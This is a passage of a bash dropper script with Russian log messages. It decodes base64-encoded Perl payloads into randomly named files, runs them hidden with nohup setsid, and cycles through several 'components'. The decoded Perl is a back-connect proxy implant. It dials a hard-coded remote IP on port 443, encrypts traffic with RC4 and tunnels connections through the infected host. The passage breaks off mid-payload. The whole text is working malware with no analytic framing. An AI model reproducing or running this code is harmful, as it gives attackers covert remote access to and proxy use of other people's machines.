first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #6 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #6 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 7 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #7 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #7 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 8 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 